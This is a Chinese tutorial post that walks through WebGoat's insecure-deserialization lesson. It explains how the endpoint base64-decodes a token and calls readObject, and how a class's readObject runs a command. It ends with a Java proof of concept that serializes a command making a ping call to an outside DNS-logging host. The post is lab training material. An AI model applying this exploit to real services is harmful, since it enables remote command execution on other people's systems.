WebGoat JAVA反序列化漏洞源码分析

目录

InsecureDeserializationTask.java 代码分析

反序列化漏洞知识补充

VulnerableTaskHolder类分析

poc 编写


WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application

这里就不介绍怎么搭建了,可以参考其他文章。如下输入框输入数据,提交进行反序列化操作

发现请求路径为 "InsecureDeserialization/task",请求参数为 token

全局搜索该路径,最终定位到如下文件

InsecureDeserializationTask.java 代码分析

提取出InsecureDeserializationTask.java 的主要代码如下,从代码可以看出:

  1. 服务器接收一个 post 请求,路径为"/InsecureDeserialization/task",请求参数为 token。并且将 token 参数中的 - 字符替换为 +,_ 字符替换为 / 。可能因为在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _,所以这里再替换回去。
  2. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))) 含义是通过Base64解码得到字节数组,然后利用这些字节数组创建对象输入流。
  3. 最后 Object o = ois.readObject() 执行反序列化操作。当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。所以此时系统会寻找并加载VulnerableTaskHolder类
public class InsecureDeserializationTask extends AssignmentEndpoint {

  @PostMapping("/InsecureDeserialization/task")
  @ResponseBody
  //定义一个返回AttackResult类型对象的方法,方法名为completed
  //方法接受一个名为token的参数,该参数通过HTTP请求的查询参数(@RequestParam)获取。String类型表示这个参数是一个字符串。
  public AttackResult completed(@RequestParam String token) throws IOException {
    String b64token;
    long before;
    long after;
    int delay;
    //Base64编码通常使用A-Z, a-z, 0-9, +, / 这64个字符来表示。然而,在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _
    //将字符串中所有的 - 字符替换为 + 字符, 将所有的 _ 字符替换为 / 字符
    b64token = token.replace('-', '+').replace('_', '/');
    //Base64.getDecoder().decode(b64token) 将 Base64 编码的字符串解码为字节数组
      // ByteArrayInputStream()创建字节输入流,以便能够以流的方式读取这些字节。
      //new ObjectInputStream 创建对象输入流
    try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))))
    {
      before = System.currentTimeMillis();         //反序列化前记录当前时间戳
        //执行反序列化,并将反序列化后的对象赋值给类型为 Object 的变量 o
        //当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。
      Object o = ois.readObject();
      if (!(o instanceof VulnerableTaskHolder)) {  //检查反序列化得到的对象o是否是VulnerableTaskHolder类的实例
        ...
      }
      after = System.currentTimeMillis();     //反序列化后记录当前时间戳
    } 
      ...
    //得到反序列化操作所花费的时间(以毫秒为单位,如果所耗时间在3000毫秒到7000毫秒之间则成功
    delay = (int) (after - before);
    if (delay > 7000) {
      return failed(this).build();
    }
    if (delay < 3000) {
      return failed(this).build();
    }
    return success(this).build();
  }
}

反序列化漏洞知识补充

要想将某个字节序列反序列化为对象,该对象所属的类必须已经存在于系统中,具体来说,必须能够被Java虚拟机(JVM)的类加载器所加载。即VulnerableTaskHolder类必须存在,如果存在则会加载VulnerableTaskHolder类。加载后,JVM 会创建一个该类的实例,用于接收从序列化数据中读取的字段值。

如果被反序列化的类自定义了 readObject 方法,JVM 会在反序列化过程中自动调用该方法。即如果VulnerableTaskHolder 类中存在readObject 方法,并且方法中包含了不安全代码,那么这可能会导致反序列化漏洞的发生。

VulnerableTaskHolder类分析

所以我们看下VulnerableTaskHolder类是否自定义了readObject 方法,发现不仅存在readObject 方法,而且存在命令执行函数,命令执行的参数为成员变量 taskAction。这里仅仅判断了taskAction 值是否以 ping 或者 sleep 开头。

到此,反序列化漏洞的基本条件似乎都被满足了。那如何触发漏洞了?首先需要实例化一个VulnerableTaskHolder类,将其序列化然后 base64 编码即可。其实就是如下 InsecureDeserializationTask 中反序列化的逆过程。

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))

poc 编写

package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class test {
    public static void main(String[] args) {
        try {
            //创建一个ByteArrayOutputStream实例, 用于在内存中创建一个字节数组缓冲区。这个缓冲区会随着数据的写入而自动增长。
            // 这个类的用途通常是将数据写入到一个字节数组中,而不是写入到文件或网络等外部资源中。
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            //ObjectOutputStream将使用ByteArrayOutputStream提供的字节数组缓冲区来存储序列化的对象数据。
            //换句话说,ObjectOutputStream是负责将对象序列化为字节序列的“写手”,而ByteArrayOutputStream则是它用来存放这些字节序列的“容器”。
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

            VulnerableTaskHolder taskHolder = new VulnerableTaskHolder("ping", "ping pwqqq1.dnslog.cn");
            //将taskHolder对象序列化为字节序列,并将这些字节序列写入到ObjectOutputStream所使用的ByteArrayOutputStream的字节数组缓冲区中。
            objectOutputStream.writeObject(taskHolder);
            objectOutputStream.flush(); // 确保所有数据都被写入到输出流中

            // 从缓冲区获取序列化后的字节数组
            byte[] serializedBytes = byteArrayOutputStream.toByteArray();
            // 使用 Base64 编码字节数组
            String b64token = Base64.getEncoder().encodeToString(serializedBytes);

            // 输出编码后的字符串到屏幕上
            System.out.println(b64token);

            // 关闭流
            objectOutputStream.close();
            byteArrayOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行后得到 poc

复制,然后发送,即可进行 ping 操作,成功触发反序列化漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/889717.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据结构修炼——树?二叉树?堆?从入门到代码实现,第一弹!!!

目录 一、树的概念与结构1.1 树的概念1.2 树的相关概念1.3 树的表示及实际应用 二、二叉树概念及结构2.1 二叉树的概念2.2 特殊的二叉树2.2.1 满二叉树2.2.2 完全二叉树 2.3 二叉树的存储结构 三、二叉树的顺序结构与实现3.1 堆的概念及结构3.2 堆的实现3.2.1 堆的创建与销毁3.…

安卓13禁止用户打开开发者选项 android13禁止用户打开开发者选项

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.问题分析3.代码分析4.代码修改5.编译6.彩蛋1.前言 设置 =》关于平板电脑 =》版本号,一般的话,在这里连续点击就可以打开我们的开发者选项了。但是有些系统要进行保密,因此要禁止用户进入。 2.问题分析 这里我们是通过点…

Android Framework AMS(02)AMS启动及相关初始化5-8

该系列文章总纲链接&#xff1a;专题总纲目录 Android Framework 总纲 本章关键点总结 & 说明&#xff1a; 说明&#xff1a;本章节主要涉及systemserver启动AMS及初始化AMS相关操作。同时由于该部分内容过多&#xff0c;因此拆成2个章节&#xff0c;本章节是第二章节&…

【技术】Jaskson的序列化与反序列化

文章目录 概念解释1.Jasksona.JSONJSON 的基本特点JSON 的基本结构JSON 示例 b.ObjectMapper类 2.序列化与反序列化a.序列化对象序列化集合序列化ListSetMap b.反序列化反序列化单个对象反序列化集合对象 概念解释 1.Jaskson Jackson 是一个用于处理 JSON 数据的 Java 库,所以…

vue-插槽作用域实用场景

vue-插槽作用域实用场景 1.插槽1.1 自定义列表渲染1.2 数据表格组件1.3 树形组件1.4 表单验证组件1.5 无限滚动组件 1.插槽 插槽感觉知道有这个东西&#xff0c;但是挺少用过的&#xff0c;每次看到基本都会再去看一遍用法和概念。但是在项目里&#xff0c;自己还是没有用到过…

基于SpringBoot+Vue的疫情物资管理系统(带1w+文档)

基于SpringBootVue的疫情物资管理系统(带1w文档) 基于SpringBootVue的疫情物资管理系统(带1w文档) 本课题研究和开发疫情物资管理系统管理系统&#xff0c;让安装在计算机上的该系统变成管理人员的小帮手&#xff0c;提高疫情物资管理系统信息处理速度&#xff0c;规范疫情物资…

C++入门基础知识107—【关于C++continue 语句】

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///C爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于C continue 语句的相关内容&#xff01;…

关于Java部署项目,文件上传路径问题 、Windows是\ linux是/

Windows是\ linux是/ &#xff0c;踩坑。报错如下&#xff1a;

SpringBootWeb快速入门!详解如何创建一个简单的SpringBoot项目?

在现代Web开发中&#xff0c;SpringBoot以其简化的配置和快速的开发效率而受到广大开发者的青睐。本篇文章将带领你从零开始&#xff0c;搭建一个基于SpringBoot的简单Web应用~ 一、前提准备 想要创建一个SpringBoot项目&#xff0c;需要做如下准备&#xff1a; idea集成开发…

信息安全工程师(28)机房安全分析与防护

前言 机房安全分析与防护是一个复杂而细致的过程&#xff0c;涉及到物理安全、环境控制、电力供应、数据安全、设备管理、人员管理以及紧急预案等多个方面。 一、机房安全分析 1. 物理安全威胁 非法入侵&#xff1a;未经授权的人员可能通过门窗、通风口等进入机房&#xff0c;…

《大规模语言模型从理论到实践》第一轮学习笔记

第一章 绪论 本章主要介绍大规模语言模型基本概念、发展历程和构建流程。 大规模语言模型&#xff08;Large Language Models&#xff0c;LLM&#xff09;&#xff0c;也称大语言模型 或大型语言模型。 1.1 大规模语言模型基本概念 1.语言模型&#xff08;Language Model&a…

LeetCode 3310. 移除可疑的方法

LeetCode 3310. 移除可疑的方法 你正在维护一个项目&#xff0c;该项目有 n 个方法&#xff0c;编号从 0 到 n - 1。 给你两个整数 n 和 k&#xff0c;以及一个二维整数数组 invocations&#xff0c;其中 invocations[i] [ai, bi] 表示方法 ai 调用了方法 bi。 已知如果方法 k…

Leetcode 37. 解数独

1.题目基本信息 1.1.题目描述 编写一个程序&#xff0c;通过填充空格来解决数独问题。 数独的解法需 遵循如下规则&#xff1a; 数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9 在每一个以粗实线分隔的 33 宫内只能出现一次。&#xff08;请参考…

文件IO及目录操作

一、文件IO 1.1 close函数&#xff08;关闭文件&#xff09; #include <unistd.h>---所需头文件 int close(int fd); 功能&#xff1a;关闭文件 参数&#xff1a;fd&#xff1a;文件描述符 返回值&#xff1a;成功返回0&#xff0c;失败返回-1&#xff0c;置位错误码 …

主机加固的关键要素:服务器防病毒

在数字化浪潮中&#xff0c;网络安全已成为企业不可忽视的一环。尤其是安全运维人员&#xff0c;他们肩负着保护企业数据不受侵害的重任。MCK主机加固解决方案&#xff0c;正是为了应对这一挑战而生。 网络安全的严峻现实 不久前&#xff0c;一家知名企业因勒索病毒攻击而被迫…

二分查找一>0~n-1中缺失的数字(点名)

1.题目&#xff1a; 2.解析&#xff1a;方法一&#xff1a;用哈希表&#xff1a;记录存在的数字&#xff0c;找到哈希表为空的数字输出 Set<Integer> set new HashSet<>();for(int x : records) set.add(x);for(int i 0; i < set.size(); i){if(!set.contain…

Linux系列-Linux的常见指令

&#x1f308;个人主页&#xff1a;羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” Linux基本指令 ls指令 语法&#xff1a;ls 【选项】【目录或文件】 功能&#xff1a;对于目录&#xff0c;该命令列出该目录下的所有子目录与文件&#xff0c;对于文件&#xf…

【GO基础学习】环境安装到基础语法(1)

文章目录 环境安装GoLand 安装GO基础GO特点类型和函数Init函数和main函数GO命令下划线变量和常量数组切片Slice 引用 环境安装 下载地址&#xff1a;https://www.golangroadmap.com/ 安装目录文件说明&#xff1a; api&#xff1a;每个版本的 api 变更差异。 bin&#xff1…

基于SpringBoot+Vue的船舶监造系统(带1w+文档)

基于SpringBootVue的船舶监造系统(带1w文档) 基于SpringBootVue的船舶监造系统(带1w文档) 大概在20世纪90年代&#xff0c;我国才开始研发船舶监造系统&#xff0c;与一些发达国家相比&#xff0c;系统研发起步比较晚。当时的计算机技术刚开始发展起来&#xff0c;国家经济力量…

Map的实现类:HashMap

在API获取HsahMap类的全部信息 实例代码&#xff1a;创建一个Student类和Demo02 package com.map;public class Student {private String name;private int stuNo;public Student(String name, int stuNo) {this.name name;this.stuNo stuNo;}public String getName() {retu…